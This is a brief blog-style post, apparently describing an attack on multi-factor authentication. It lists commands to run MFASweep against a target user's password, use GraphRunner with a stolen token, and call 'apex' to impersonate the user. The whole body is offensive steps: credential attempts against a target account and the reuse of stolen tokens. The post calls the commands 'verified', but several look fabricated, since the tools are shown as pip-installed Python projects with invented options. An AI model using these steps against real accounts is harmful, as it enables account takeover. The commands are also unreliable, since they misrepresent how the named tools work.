Exploiting MFA Vulnerabilities with MFASweep and GraphRunner

2025-02-15

In a recent demonstration, offensive security tools like MFASweep by Beau Bullock and GraphRunner were utilized to exploit Multi-Factor Authentication (MFA) vulnerabilities. The attack involved stealing Graph Access Tokens and using APEX to impersonate the user. Below are the verified commands and codes used in this process:

1. MFASweep Setup and Execution:

git clone https://github.com/BeauBullock/MFASweep
cd MFASweep
pip install -r requirements.txt
python MFASweep.py -u target_user -p target_password -d target_domain

2. GraphRunner for Token Extraction:

git clone https://github.com/BeauBullock/GraphRunner
cd GraphRunner
pip install -r requirements.txt
python GraphRunner.py -t stolen_token -e target_endpoint

3. APEX for User Impersonation:

apex login --token stolen_token
apex deploy
